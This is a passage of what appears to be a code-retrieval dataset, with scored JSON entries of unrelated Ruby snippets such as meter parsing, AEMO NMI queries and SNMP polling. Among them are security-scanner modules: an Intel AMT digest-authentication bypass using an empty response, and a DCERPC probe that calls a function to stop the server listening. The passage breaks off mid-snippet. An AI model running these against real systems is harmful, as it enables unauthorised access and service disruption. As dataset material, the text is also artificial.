brewery_db.locations.all(postalCode: @location)\n end\n\n brewery_arr = []\n breweries.each do |b|\n content = {}\n content['name'] = b.brewery.name\n content['id'] = b.breweryId\n content['website'] = b.brewery.website\n brewery_arr << content\n end\n\n return brewery_arr\n end", "title": "" }, { "docid": "7fb9dea566155489be1ad97a020d0131", "score": "0.61090755", "text": "def all\n @rarray\n end", "title": "" }, { "docid": "8e2e5eefdf63eaa3fd0b19db9aff1afd", "score": "0.6097953", "text": "def all\n results = query '*::*::*::*'\n (results.each {|r| yield r}) if block_given?\n results\n end", "title": "" }, { "docid": "e831220f3193ec3a06832010dabbf0ca", "score": "0.6087434", "text": "def get_results(run_id=nil)\r\n @result = Array.new\r\n @result = [self.output_headers]\r\n unless run_id.nil?\r\n @run = Run.find(run_id)\r\n @run.units.each do |unit|\r\n unit.sample_instances.each do |sample_instance|\r\n if sample_instance.sample == self\r\n next_sample_instance = sample_instance.next_sample_instance\r\n if next_sample_instance.nil?\r\n # if next_sample_instance is nil, then this should be last sample and output of this sample instance is the result of the run\r\n unit.result.to_a.each do |result|\r\n @result << JSON.parse(result.to_json).to_a.sort.transpose[1]\r\n end\r\n else\r\n next_sample_instance.input_datas.each do |input_data|\r\n @result << JSON.parse(input_data.to_json).to_a.sort.transpose[1]\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n {:result => @result}\r\n end", "title": "" }, { "docid": "884465f5fbfb298696608a114ef5a75c", "score": "0.6084649", "text": "def to_a\n Array(each)\n end", "title": "" }, { "docid": "fb3b26fabe904ac7eff8cb798abcebd9", "score": "0.6082314", "text": "def flattened_results\n\n f2 = results.flatten(2)\n f2.any? ? [ f2.shift ] + f2.flatten(2) : []\n end", "title": "" }, { "docid": "5cfa86772738d8cfec057892573f19fc", "score": "0.6074568", "text": "def get_all\n @data\n end", "title": "" }, { "docid": "30a451a6b5ccbc4ec43da076bf4f2610", "score": "0.6074336", "text": "def fetch\n\t\t\t\t[self.[], @args]\n\t\t\tend", "title": "" }, { "docid": "f423406fecceb56072ee608fb55302f5", "score": "0.6070947", "text": "def items\n parsed_contents['results'] if parsed_contents\n end", "title": "" }, { "docid": "13af91a2dc820395ce0f26ea99458fc6", "score": "0.6067611", "text": "def query_multiple_results(query_string, provided_client = nil)\n results = with_client(provided_client) do |client|\n result = []\n result << client.query(query_string)\n result << client.store_result while client.next_result\n result.compact\n end\n\n results.map(&:to_a)\n end", "title": "" }, { "docid": "24d5cd886b6a6d96e0cbf2ca7dc7460d", "score": "0.60671854", "text": "def source_results(race)\n []\n end", "title": "" }, { "docid": "5a7a07265e4f6cd808f9d3b5affffd7a", "score": "0.6062517", "text": "def to_ary\n self.map{|result| result}\n end", "title": "" }, { "docid": "09e61d67edaaf2fad06c4b3aa909c831", "score": "0.6054862", "text": "def all\n @hits\n end", "title": "" }, { "docid": "562928328379f7d1ac16a18ee0b77041", "score": "0.6050603", "text": "def subject_results\n env.subjects.map(&method(:subject_result))\n end", "title": "" } ]
c1dcdf5f29a9bde37bb068dbb860af2c
Single NMI Master (C4) Report /C4/PARTICIPANT_IDENTIFIER?transactionId=XXX&nmi=XXX&checksum=X&type=XXX&reason=XXX
[ { "docid": "958a8c1ab442b0259711359c1de512a1", "score": "0.5066143", "text": "def c4(nmi, from_date, to_date, as_at_date, options = {})\n nmi = AEMO::NMI.new(nmi) if nmi.is_a?(String)\n from_date = Date.parse(from_date) if from_date.is_a?(String)\n to_date = Date.parse(to_date) if to_date.is_a?(String)\n as_at_date = Date.parse(as_at_date) if as_at_date.is_a?(String)\n\n options[:participantId] ||= nil\n options[:roleId] ||= nil\n options[:inittransId] ||= nil\n\n query = {\n transactionId: transaction_id,\n # Note: AEMO has case sensitivity but no consistency across requests.\n NMI: nmi.nmi,\n fromDate: from_date,\n toDate: to_date,\n asatDate: as_at_date,\n participantId: @participant_id,\n roleId: options[:role_id],\n inittransId: options[:init_trans_id]\n }\n\n response = get(\"/C4/#{@participant_id}\", basic_auth: @auth, headers: HEADERS, query: query, verify: (options[:verify_ssl] != false))\n if response.response.code != '200'\n response\n else\n response.parsed_response['aseXML']['Transactions']['Transaction']['ReportResponse']['ReportResults']\n end\n end", "title": "" } ]
[ { "docid": "2d0b0dd10ef04216d8de7d647f6861ef", "score": "0.5529831", "text": "def raw_msats_nmi_detail(options = {})\n unless AEMO::MSATS.can_authenticate?\n raise ArgumentError, 'MSATS has no authentication credentials'\n end\n AEMO::MSATS.nmi_detail(@nmi, options)\n end", "title": "" }, { "docid": "cf983983d621c07246d6280e925657e9", "score": "0.5444573", "text": "def nmi_identifier\n @nmi.nil? ? nil : @nmi.nmi\n end", "title": "" }, { "docid": "97585dd13f712dbcbff8c37d610af31d", "score": "0.5253535", "text": "def report_finding!(result)\n description = \"Sonatype IQ Server SECURITY-HIGH Policy Violation\"\n detail = \"CVE-2019-1234\"\n source = \"#{@name}:IQServerAppId:scanIQ\"\n severity = 1\n fprint = fingerprint(\"SONATYPEIQ-APPID-COMPONENTID-SVCODE\")\n\n report description, detail, source, severity, fprint\n end", "title": "" }, { "docid": "5d4fba598d02c08a636d12385c1784c6", "score": "0.5222557", "text": "def report(action, msg = \"\")\n what = action.capitalize\n info(\"[Dummy] #{what} #{msg} on Transport=Dummy\")\n sleep_if_set\n debug(\"[Dummy] #{what} #{msg} completed (#{options[:sleep]}s).\")\n end", "title": "" }, { "docid": "30428f872dbfbc4d2a88c80b9279f15a", "score": "0.519535", "text": "def scmdetail\n\t\tld(\"Retrieving Cable Modem detail...\")\n# if (session[:admin])\n\t\t\tld(\"Calling C3.new\")\n c3 = C3.new(params[:target],'kevlarvci....','h0ck3ysc0r3')\n\t\t\tld(c3)\n scmdetail = c3.getSCMDetail(params[:mac])\n\n header = 'Modem Detail'\n\n @scmdetail = {:header => header, :detail => scmdetail}\n\n c3.close()\n # render :layout => \"application\"\n respond_to do |format|\n format.html { render :scmdetail, :layout => \"application\" }\n# end\n# else\n# render :file => \"#{Rails.root}/public/404.html\", :status => 404\n# return\n end\n end", "title": "" }, { "docid": "c3a09dd485b1cacf9029a312997def2b", "score": "0.5183103", "text": "def getc\n control_transfer(\n bRequest: 0x01, # hid get report\n dataIn: 1\n )\n end", "title": "" }, { "docid": "c3a09dd485b1cacf9029a312997def2b", "score": "0.5183103", "text": "def getc\n control_transfer(\n bRequest: 0x01, # hid get report\n dataIn: 1\n )\n end", "title": "" }, { "docid": "04343e1fa280b22add10769135025b51", "score": "0.5047668", "text": "def militia_id; igb_variable_get(:militia_id, \"The IGB does not yet supply :militia_id headers, so this will always be nil\"); end", "title": "" }, { "docid": "5c8e7e169e04f29f423659df692887b8", "score": "0.50069255", "text": "def report(action, msg = \"\")\n what = action.capitalize\n info(\"[Dummy] #{what} #{msg} on Transport=#{name}\")\n sleep_if_set\n debug(\"[Dummy] #{what} #{msg} completed (#{config[:sleep]}s).\")\n end", "title": "" }, { "docid": "49cbf26683063a44c1a25223462ed9d6", "score": "0.49889502", "text": "def action_monitor(number, host, not_used1, not_used2)\n results = \"HYPERVISOR=dummy\\n\"\n results << \"HOSTNAME=#{host}\\n\"\n\n results << \"CPUSPEED=2.2GHz\\n\"\n\n used_memory = rand(16777216)\n results << \"TOTALMEMORY=16777216\\n\"\n results << \"USEDMEMORY=#{used_memory}\\n\"\n results << \"FREEMEMORY=#{16777216-used_memory}\\n\"\n\n used_cpu = rand(800)\n results << \"TOTALCPU=800\\n\"\n results << \"USEDCPU=#{used_cpu}\\n\"\n results << \"FREECPU=#{800-used_cpu}\\n\"\n\n results << \"DS_LOCATION_USED_MB=9720\\n\"\n results << \"DS_LOCATION_TOTAL_MB=20480\\n\"\n results << \"DS_LOCATION_FREE_MB=20480\\n\"\n\n results << \"PCI = [\n ADDRESS = \\\"0000:02:00:0\\\",\\n\n BUS = \\\"02\\\",\\n\n CLASS = \\\"0300\\\",\\n\n CLASS_NAME = \\\"VGA compatible controller\\\",\\n\n DEVICE = \\\"0863\\\",\\n\n DEVICE_NAME = \\\"C79 [GeForce 9400M]\\\",\\n\n DOMAIN = \\\"0000\\\",\\n\n FUNCTION = \\\"0\\\",\\n\n SHORT_ADDRESS = \\\"02:00.0\\\",\\n\n SLOT = \\\"00\\\",\\n\n TYPE = \\\"10de:0863:0300\\\",\\n\n VENDOR = \\\"10de\\\",\\n\n VENDOR_NAME = \\\"NVIDIA Corporation\\\",\\n\n NUMA_NODE=\\\"1\\\"\n ]\\n\n PCI = [\n ADDRESS = \\\"0000:00:06:0\\\",\\n\n BUS = \\\"00\\\",\\n\n CLASS = \\\"0c03\\\",\\n\n CLASS_NAME = \\\"USB controller\\\",\\n\n DEVICE = \\\"0aa7\\\",\\n\n DEVICE_NAME = \\\"MCP79 OHCI USB 1.1 Controller\\\",\\n\n DOMAIN = \\\"0000\\\",\\n\n FUNCTION = \\\"0\\\",\\n\n SHORT_ADDRESS = \\\"00:06.0\\\",\\n\n SLOT = \\\"06\\\",\\n\n TYPE = \\\"10de:0aa7:0c03\\\",\\n\n VENDOR = \\\"10de\\\",\\n\n VENDOR_NAME = \\\"NVIDIA Corporation\\\",\\n\n NUMA_NODE=\\\"1\\\"\n ]\\n\n PCI = [\n ADDRESS = \\\"0000:00:06:1\\\",\\n\n BUS = \\\"00\\\",\\n\n CLASS = \\\"0c03\\\",\\n\n CLASS_NAME = \\\"USB controller\\\",\\n\n DEVICE = \\\"0aa9\\\",\\n\n DEVICE_NAME = \\\"MCP79 EHCI USB 2.0 Controller\\\",\\n\n DOMAIN = \\\"0000\\\",\\n\n FUNCTION = \\\"1\\\",\\n\n SHORT_ADDRESS = \\\"00:06.1\\\",\\n\n SLOT = \\\"06\\\",\\n\n TYPE = \\\"10de:0aa9:0c03\\\",\\n\n VENDOR = \\\"10de\\\",\\n\n VENDOR_NAME = \\\"NVIDIA Corporation\\\"\\n,\n NUMA_NODE=\\\"0\\\"\n ]\\n\"\n\n make_topology(results, 2, 8, [2048, 1048576], 4, 16777216)\n\n results = Base64::encode64(results).strip.delete(\"\\n\")\n\n send_message(\"MONITOR\", RESULT[:success], number, results)\n end", "title": "" }, { "docid": "fe14351e504bff5ba2941c490316bec2", "score": "0.49839342", "text": "def parse_nem12_200(line, options = {})\n csv = line.parse_csv\n\n raise ArgumentError, 'RecordIndicator is not 200' if csv[0] != '200'\n raise ArgumentError, 'NMI is not valid' unless AEMO::NMI.valid_nmi?(csv[1])\n raise ArgumentError, 'NMIConfiguration is not valid' if options[:strict] && (csv[2].nil? || csv[2].match(/.{1,240}/).nil?)\n raise ArgumentError, 'RegisterID is not valid' if !csv[3].nil? && csv[3].match(/.{1,10}/).nil?\n raise ArgumentError, 'NMISuffix is not valid' if csv[4].nil? || csv[4].match(/[A-HJ-NP-Z][1-9A-HJ-NP-Z]/).nil?\n raise ArgumentError, 'MDMDataStreamIdentifier is not valid' if !csv[5].nil? && !csv[5].empty? && !csv[5].match(/^\\s*$/) && csv[5].match(/[A-Z0-9]{2}/).nil?\n raise ArgumentError, 'MeterSerialNumber is not valid' if !csv[6].nil? && !csv[6].empty? && !csv[6].match(/^\\s*$/) && csv[6].match(/[A-Z0-9]{2}/).nil?\n raise ArgumentError, 'UOM is not valid' if csv[7].nil? || csv[7].upcase.match(/[A-Z0-9]{2}/).nil?\n raise ArgumentError, 'UOM is not valid' unless UOM.keys.map(&:upcase).include?(csv[7].upcase)\n raise ArgumentError, 'IntervalLength is not valid' unless %w[1 5 10 15 30].include?(csv[8])\n # raise ArgumentError, 'NextScheduledReadDate is not valid' if csv[9].match(/\\d{8}/).nil? || csv[9] != Time.parse('#{csv[9]}').strftime('%Y%m%d')\n\n @nmi = AEMO::NMI.new(csv[1])\n\n # Push onto the stack\n @data_details << {\n record_indicator: csv[0].to_i,\n nmi: csv[1],\n nmi_configuration: csv[2],\n register_id: csv[3],\n nmi_suffix: csv[4],\n mdm_data_streaming_identifier: csv[5],\n meter_serial_number: csv[6],\n uom: csv[7].upcase,\n interval_length: csv[8].to_i,\n next_scheduled_read_date: csv[9]\n }\n end", "title": "" }, { "docid": "c3448b900bc04fc39df906693a414173", "score": "0.49264994", "text": "def run_host(ip)\n begin\n connect\n res = send_request_raw({ 'uri' => '/hw-sys.htm', 'method' => 'GET' })\n unless res && res.headers['Server'].to_s.index('Intel(R) Active Management Technology')\n disconnect\n return\n end\n\n vprint_status(\"#{ip}:#{rport} - Found an Intel AMT endpoint: #{res.headers['Server']}\")\n\n unless res.headers['WWW-Authenticate'] =~ /realm=\"([^\"]+)\".*nonce=\"([^\"]+)\"/\n vprint_status(\"#{ip}:#{rport} - AMT service did not send a valid digest response\")\n disconnect\n return\n end\n\n realm = $1\n nonce = $2\n cnonce = Rex::Text.rand_text(10)\n\n res = send_request_raw(\n {\n 'uri' => '/hw-sys.htm',\n 'method' => 'GET',\n 'headers' => {\n 'Authorization' =>\n \"Digest username=\\\"admin\\\", realm=\\\"#{realm}\\\", nonce=\\\"#{nonce}\\\", uri=\\\"/hw-sys.htm\\\", \" +\n \"cnonce=\\\"#{cnonce}\\\", nc=1, qop=\\\"auth\\\", response=\\\"\\\"\"\n }\n })\n\n unless res && res.body.to_s.index(\"Computer model\")\n vprint_error(\"#{ip}:#{rport} - AMT service does not appear to be vulnerable\")\n return\n end\n\n proof = res.body.to_s\n proof_hash = nil\n\n info_keys = res.body.scan(/<td class=r1><p>([^\\<]+)<\\/p>/).map{|x| x.first.to_s.gsub(\"&#x2F;\", \"/\") }\n if info_keys.length > 0\n proof_hash = {}\n proof = \"\"\n\n info_vals = res.body.scan(/<td class=r1>([^\\<]+)</).map{|x| x.first.to_s.gsub(\"&#x2F;\", \"/\") }\n info_keys.each do |ik|\n iv = info_vals.shift\n break unless iv\n proof_hash[ik] = iv\n proof << \"#{iv}: #{ik}\\n\"\n end\n end\n\n print_good(\"#{ip}:#{rport} - Vulnerable to CVE-2017-5869 #{proof_hash.inspect}\")\n\n report_note(\n :host => ip,\n :proto => 'tcp',\n :port => rport,\n :type => 'intel.amt.system_information',\n :data => proof_hash\n )\n\n report_vuln({\n :host => rhost,\n :port => rport,\n :proto => 'tcp',\n :name => \"Intel AMT Digest Authentication Bypass\",\n :refs => self.references,\n :proof => proof\n })\n\n rescue ::Timeout::Error, ::Errno::EPIPE\n ensure\n disconnect\n end\n end", "title": "" }, { "docid": "88b76a618c0529b7a86ccef8a315863a", "score": "0.49083555", "text": "def request_a\n\n # 2F 3F 12 Bytes Address 30 30 21 0D 0A\n # /?00000000012300! then a CRLF\n request = \"/?\" + meter_number + \"00!\\r\\n\"\n read_bytes = 255\n @logger.debug \"Socket write #{request}\"\n response = get_remote_meter_data(request, read_bytes)\n\n if response.nil?\n @logger.error \"No response to request_a from meter #{meter_number}\"\n raise EkmOmnimeter, \"No response from meter.\"\n end\n\n # Split the response string into an array and prepare a hash to store the values\n a = response.split('')\n d = {}\n\n # Return (255 Bytes total) :\n a.shift(1) # 02\n d[:meter_type] = a.shift(2) # 2 Byte Meter Type\n d[:meter_firmware] = a.shift(1) # 1 Byte Meter Firmware\n d[:address] = a.shift(12) # 12 Bytes Address\n d[:total_kwh] = a.shift(8) # 8 Bytes total Active kWh\n d[:reactive_kwh_kvarh] = a.shift(8) # 8 Bytes Total kVARh\n d[:total_reverse_kwh] = a.shift(8) # 8 Bytes Total Rev.kWh\n\n # 24 Bytes 3 phase kWh\n d[:total_kwh_l1] = a.shift(8)\n d[:total_kwh_l2] = a.shift(8)\n d[:total_kwh_l3] = a.shift(8)\n # 24 Bytes 3 phase Rev.kWh\n d[:reverse_kwh_l1] = a.shift(8)\n d[:reverse_kwh_l2] = a.shift(8)\n d[:reverse_kwh_l3] = a.shift(8)\n\n d[:resettable_total_kwh] = a.shift(8) # 8 Bytes Resettable kWh\n d[:resettable_reverse_kwh] = a.shift(8) # 8 bytes Resettable Reverse kWh\n d[:volts_l1] = a.shift(4) # 4 Bytes Volts L1\n d[:volts_l2] = a.shift(4) # 4 Bytes Volts L2\n d[:volts_l3] = a.shift(4) # 4 Bytes Volts L3\n d[:amps_l1] = a.shift(5) # 5 Bytes Amps L1\n d[:amps_l2] = a.shift(5) # 5 Bytes Amps L2\n d[:amps_l3] = a.shift(5) # 5 Bytes Amps L3\n d[:watts_l1] = a.shift(7) # 7 Bytes Watts L1\n d[:watts_l2] = a.shift(7) # 7 Bytes Watts L2\n d[:watts_l3] = a.shift(7) # 7 Bytes Watts L3\n d[:watts_total] = a.shift(7) # 7 Bytes Watts Total\n d[:power_factor_1] = a.shift(4) # 4 Bytes Cosϴ L1\n d[:power_factor_2] = a.shift(4) # 4 Bytes Cosϴ L2\n d[:power_factor_3] = a.shift(4) # 4 Bytes Cosϴ L3\n d[:reactive_power_1] = a.shift(7) # 7 Bytes VAR L1\n d[:reactive_power_2] = a.shift(7) # 7 Bytes VAR L2\n d[:reactive_power_3] = a.shift(7) # 7 Bytes VAR L3\n d[:total_reactive_power] = a.shift(7) # 7 Bytes VAR Total\n d[:frequency] = a.shift(4) # 4 Bytes Freq\n d[:pulse_1_count] = a.shift(8) # 8 Bytes Pulse Count 1\n d[:pulse_2_count] = a.shift(8) # 8 Bytes Pulse Count 2\n d[:pulse_3_count] = a.shift(8) # 8 Bytes Pulse Count 3\n d[:pulse_input_hilo] = a.shift(1) # 1 Byte Pulse Input Hi/Lo\n d[:direction_of_current] = a.shift(1) # 1 Bytes direction of current\n d[:outputs_onoff] = a.shift(1) # 1 Byte Outputs On/Off\n d[:kwh_data_decimal_places] = a.shift(1) # 1 Byte kWh Data Decimal Places\n a.shift(2) # 2 Bytes Reserved\n meter_timestamp = a.shift(14).join('') # 14 Bytes Current Time\n a.shift(6) # 30 30 21 0D 0A 03\n d[:checksum] = a.shift(2) # 2 Bytes CRC16\n\n # Smash arrays into strungs\n d.each {|k,v| d[k] = v.join('')}\n\n # Verify that the checksum is correct\n verify_checksum(response, d[:checksum])\n\n # Cast types\n @values[:kwh_data_decimal_places] = d[:kwh_data_decimal_places].to_i\n d[:meter_type] = d[:meter_type].unpack('H*')[0]\n d[:meter_firmware] = d[:meter_firmware].unpack('H*')[0]\n d[:power_factor_1] = cast_power_factor(d[:power_factor_1])\n d[:power_factor_2] = cast_power_factor(d[:power_factor_2])\n d[:power_factor_3] = cast_power_factor(d[:power_factor_3])\n d[:meter_timestamp] = as_datetime(meter_timestamp)\n cast_response_to_correct_types(d)\n\n # Lookup mapped values\n d[:meter_type] = METER_TYPE_MAP[d[:meter_type]]\n d[:pulse_1_input], d[:pulse_2_input], d[:pulse_3_input] = PULSE_INPUT_STATE_MAP[d[:pulse_input_hilo]]\n d[:current_direction_l1], d[:current_direction_l2], d[:current_direction_l3] = DIRECTION_OF_CURRENT_MAP[d[:direction_of_current]]\n d[:output_1], d[:output_2] = OUTPUT_INDICATOR_MAP[d[:outputs_onoff]]\n\n # Merge to values and reset time\n @values.merge!(d)\n @last_read_timestamp = Time.now\n\n # Calculate totals based on wiring configuration\n @values[:volts] = calculate_measurement(volts_l1, volts_l2, volts_l3)\n @values[:amps] = calculate_measurement(amps_l1, amps_l2, amps_l3)\n @values[:watts] = calculate_measurement(watts_l1, watts_l2, watts_l3)\n @values[:total_forward_kwh] = total_kwh - total_reverse_kwh\n @values[:net_kwh] = total_forward_kwh - total_reverse_kwh\n\n # Return the values returned by just this call (different than values)\n return d\n\n end", "title": "" }, { "docid": "966d1122a628a6bde1ccdd01e9e61f93", "score": "0.4901152", "text": "def request_info\n @service = ($evm.root['vmdb_object_type'] == 'service_template_provision_request')\n @miq_request = $evm.root['miq_request']\n $evm.log(:info, \"Request: #{@miq_request.description} id: #{@miq_request.id} \")\nend", "title": "" }, { "docid": "2120b978b4bbb1c8d0f9a6ba5d9745d1", "score": "0.48955742", "text": "def fo_mo_guard_no\n #TODO parse/check result\n read_byte 53\n end", "title": "" }, { "docid": "863cc61814d1488228162a753421912e", "score": "0.48944166", "text": "def run_host(ip)\n\t\tbegin\n\n\t\t\tids = dcerpc_mgmt_inq_if_ids(rport)\n\t\t\treturn if not ids\n\t\t\tids.each do |id|\n\t\t\t\tprint_status(\"UUID #{id[0]} v#{id[1]}\")\n\n\t\t\t\treportdata = \"\"\n\n\t\t\t\tstats = dcerpc_mgmt_inq_if_stats(rport)\n\t\t\t\tif stats\n\t\t\t\t\tprint_status(\"\\t stats: \" + stats.map{|i| \"0x%.8x\" % i}.join(\", \"))\n\t\t\t\t\treportdata << \"stats: \" + stats.map{|i| \"0x%.8x\" % i}.join(\", \") + \" \"\n\t\t\t\tend\n\n\t\t\t\tlive = dcerpc_mgmt_is_server_listening(rport)\n\t\t\t\tif live\n\t\t\t\t\tprint_status(\"\\t listening: %.8x\" % live)\n\t\t\t\t\t#reportdata << \"listening: %.8x\" % live + \" \"\n\t\t\t\tend\n\n\t\t\t\tdead = dcerpc_mgmt_stop_server_listening(rport)\n\t\t\t\tif dead\n\t\t\t\t\tprint_status(\"\\t killed: %.8x\" % dead)\n\t\t\t\t\t#reportdata << \"killed: %.8x\" % dead + \" \"\n\t\t\t\tend\n\n\t\t\t\tprinc = dcerpc_mgmt_inq_princ_name(rport)\n\t\t\t\tif princ\n\t\t\t\t\tprint_status(\"\\t name: #{princ.unpack(\"H*\")[0]}\")\n\t\t\t\t\t#reportdata << \"name: #{princ.unpack(\"H*\")[0]}\"\n\t\t\t\tend\n\n\t\t\t\t## Add Report\n\t\t\t\treport_note(\n\t\t\t\t\t:host => ip,\n\t\t\t\t\t:proto => 'tcp',\n\t\t\t\t\t:port => datastore['RPORT'],\n\t\t\t\t\t:type => \"DCERPC UUID #{id[0]} v#{id[1]}\",\n\t\t\t\t\t:data => reportdata\n\t\t\t\t)\n\n\t\t\tend\n\n\t\trescue ::Interrupt\n\t\t\traise $!\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error: #{e}\")\n\t\tend\n\tend", "title": "" }, { "docid": "cf034cc4a3b42903a97c695c70f56bfa", "score": "0.48686272", "text": "def do_notify_duiduoche_get\n # TODO: what is the x,y,z\n # 通过正在执行的工单找到对应的产品的库存位置\n ip = '192.168.7.5'\n # add =\n values = [1]\n Modbus.write(ip, add, values, &block)\n end", "title": "" }, { "docid": "082ee7843a1b47d767efdb4b642c9e28", "score": "0.48493284", "text": "def get_assetid(hostname)\n data = net_post_request('/REST/1.0/search/asset/index.html?query=Name=\"'+hostname+'\" and Status!=\"retired\" and Status!=\"dr\"')\n return nil if data.nil?\n if data =~ /No matching results/\n puts \"#{hostname} is not found in AT\"\n return nil\n end\n \n if data =~ /^(\\d+):\\s\\w+/\n return $1\n else\n puts \"Can't parse RT output: #{data}\"\n return nil\n end\nend", "title": "" }, { "docid": "525036d1884de8563886e20edcb9d069", "score": "0.48468038", "text": "def schdetail\n ld(\"Retrieving Cable Host detail...\")\n ld(\"Calling C3.new\")\n c3 = C3.new(params[:target],'kevlarvci....','h0ck3ysc0r3')\n ld(c3)\n schdetail, cpemac = c3.getSCHDetail(params[:mac])\n\n header = 'Host Detail'\n\n @schdetail = {:header => cpemac, :detail => schdetail}\n\n c3.close()\n respond_to do |format|\n format.html { render :schdetail, :layout => \"application\" }\n end\n end", "title": "" }, { "docid": "8931ac8790969117fc585b3833e4e090", "score": "0.48385212", "text": "def request_info\n @service = ($evm.root['vmdb_object_type'] == 'service_template_provision_request') ? true : false\n @miq_request = $evm.root['miq_request']\n $evm.log(:info, \"Request: #{@miq_request.description} id: #{@miq_request.id} \")\nend", "title": "" }, { "docid": "a4ac6961db6a4acadafe7f4c67adc538", "score": "0.483578", "text": "def process_host(host_name)\n begin\n ifTable_columns = [ FAULT ] #should have a trailing .1, but returns nothing if we do?\n SNMP::Manager.open(:Host => host_name, :Community => \"#{@snmp_community}\", :Version => :SNMPv2c) do |manager|\n return get(manager, ifTable_columns) #The fault OID value\n end\n rescue SignalException => message\n $stderr.print \"#{Signal} #{message}\\n\"\n exit -1\n rescue Exception => message\n $stderr.print \"#{host_name} #{message}\\n\"\n return -1 #No fault OID.\n end\n end", "title": "" }, { "docid": "1467282d5d3401e22da0a2e3a1a4ec76", "score": "0.4835645", "text": "def to_xmi\n STDERR.print \"Sorry. XMI output not yet implemented.\\n\\n\"\n return \"\"\n end", "title": "" }, { "docid": "79390b7d9bbcc9a946f77d3eb7b1dc71", "score": "0.48355994", "text": "def report_no\n report = {\n :classname => self.class,\n :name => \"No #{action} Exec\",\n }\n report_write Deploy::Utils.make_xunit report\n end", "title": "" }, { "docid": "88fe40cfb79d97e765a1329709b7c7e1", "score": "0.48341197", "text": "def print_incident(inc_num, incident, ip_saddr, proto, payload)\n to_print = \"#{inc_num}. ALERT: #{incident} is detected from\"\\\n \" #{ip_saddr} (#{proto}) (#{payload})!\\n\"\n puts to_print\nend", "title": "" }, { "docid": "f46f23a34d4491208e0ec42d2955a794", "score": "0.48274264", "text": "def set_diagnostic\n @diagnostic = Diagnostic.find(params[:id])\n @inf = @diagnostic.inform_id\n end", "title": "" }, { "docid": "679485e00640b540d1cb8b2e03e66e0f", "score": "0.4824287", "text": "def print_nm1_il_segment\n nm1_il_element_methods = @segments_list[:NM1_IL]\n nm1_il_elements = verify_nm1_il_condition{\n [\n send(nm1_il_element_methods[:NM1_IL00][0].to_sym, nm1_il_element_methods[:NM1_IL00][1]), #['segment_name', 'NM1']\n send(nm1_il_element_methods[:NM1_IL01][0].to_sym, nm1_il_element_methods[:NM1_IL01][1]), #['print_constant', 'IL']\n send(nm1_il_element_methods[:NM1_IL02][0].to_sym, nm1_il_element_methods[:NM1_IL02][1]), #['print_constant', '1']\n send(nm1_il_element_methods[:NM1_IL03][0].to_sym, nm1_il_element_methods[:NM1_IL03][1]), #subscriber_last_name\n send(nm1_il_element_methods[:NM1_IL04][0].to_sym, nm1_il_element_methods[:NM1_IL04][1]), #subscriber_first_name\n send(nm1_il_element_methods[:NM1_IL05][0].to_sym, nm1_il_element_methods[:NM1_IL05][1]), #subscriber_middle_name_or_initial\n send(nm1_il_element_methods[:NM1_IL06][0].to_sym, nm1_il_element_methods[:NM1_IL06][1]), #blank_segment\n send(nm1_il_element_methods[:NM1_IL07][0].to_sym, nm1_il_element_methods[:NM1_IL07][1]), #subscriber_name_suffix\n send(nm1_il_element_methods[:NM1_IL08][0].to_sym, nm1_il_element_methods[:NM1_IL08][1]), #subscriber_identification_code_qualifier\n send(nm1_il_element_methods[:NM1_IL09][0].to_sym, nm1_il_element_methods[:NM1_IL09][1]) #subscriber_identifier\n ]\n }\n nm1_il_elements.flatten.trim_segment.join(@facility_level_details[:element_separator])\n end", "title": "" }, { "docid": "65f4a63349712d8978ab2674b9dcefff", "score": "0.48231485", "text": "def action_monitor(num,host)\n send_message(\"MONITOR\",RESULT[:success],num,\"HOSTNAME=#{host},#{@info}\")\n end", "title": "" }, { "docid": "b5c9d0cbfd20268139bc9c423d38f888", "score": "0.4822628", "text": "def getMaintCounter(dir)\n # returns MaintCounter record id or nil if error or none found\n unless (!dir.nil? and File.exists?(dir + '/E-mail DIAG Maintenance Counter Data.R09'))\n puts \"Could not find maintenance data file\"\n return nil\n end\n f = File.open(dir + '/E-mail DIAG Maintenance Counter Data.R09')\n title = f.read(15)\n puts title\n if (title == 'MAINTE CNT DATA')\n mc = MaintCounter.new\n f.read(45)\n # at 0x003C\n (mc.maint_total,mc.maint_color) = f.read(8).unpack('L>L>')\n # 0x0044\n (mc.drum_print_b,mc.drum_print_c,mc.drum_print_m,mc.drum_print_y) =\n f.read(16).unpack('L>' * 4)\n (mc.dev_print_b,mc.dev_print_c,mc.dev_print_m,mc.dev_print_y) =\n f.read(16).unpack('L>' * 4)\n f.read(16)\n # 0x0074\n (mc.drum_dist_b,mc.drum_dist_c,mc.drum_dist_m,mc.drum_dist_y) =\n f.read(16).unpack('L>' * 4)\n (mc.dev_dist_b,mc.dev_dist_c,mc.dev_dist_m,mc.dev_dist_y) =\n f.read(16).unpack('L>' * 4)\n f.read(16)\n # 0x00A4\n (mc.scan,mc.spf_count) = f.read(8).unpack('L>L>')\n f.read(44)\n # 0x00D8\n mc.mft_total = f.read(4).unpack('L>')[0]\n (mc.tray1,mc.tray2,mc.tray3,mc.tray4) = f.read(16).unpack('L>' * 4)\n f.read(8)\n mc.adu = f.read(4).unpack('L>')[0]\n (mc.ptu_print,mc.ptu_dist,mc.ptu_days) = f.read(12).unpack('L>' * 3)\n (mc.stu_print,mc.stu_dist,mc.stu_days) = f.read(12).unpack('L>' * 3)\n (mc.fuser_print,mc.fuser_days) = f.read(8).unpack('L>' * 2)\n f.read(4)\n (mc.toner_motor_b,mc.toner_motor_c,mc.toner_motor_m,mc.toner_motor_y) =\n f.read(16).unpack('L>' * 4)\n (mc.toner_rotation_b,mc.toner_rotation_c,mc.toner_rotation_m,mc.toner_rotation_y) =\n f.read(16).unpack('L>' * 4)\n (mc.drum_life_used_b,mc.drum_life_used_c,mc.drum_life_used_m,mc.drum_life_used_y) =\n f.read(16).unpack('L>' * 4)\n (mc.dev_life_used_b,mc.dev_life_used_c,mc.dev_life_used_m,mc.dev_life_used_y) =\n f.read(16).unpack('L>' * 4)\n# mc.save\n f.close\n return mc\n else\n f.close\n return nil\n end\nend", "title": "" }, { "docid": "2bb50282100a0067aaa4890ef0d4ffe8", "score": "0.4815949", "text": "def pdu_client_confirm_active()\n pdu = \"\\xea\\x03\\x01\\x00\" + # shareId: 66538\n \"\\xea\\x03\" + # originatorId\n \"\\x06\\x00\" + # lengthSourceDescriptor: 6\n \"\\x3e\\x02\" + # lengthCombinedCapabilities: ???\n \"\\x4d\\x53\\x54\\x53\\x43\\x00\" + # SourceDescriptor: 'MSTSC'\n \"\\x17\\x00\" + # numberCapabilities: 23\n \"\\x00\\x00\" + # pad2Octets\n \"\\x01\\x00\" + # 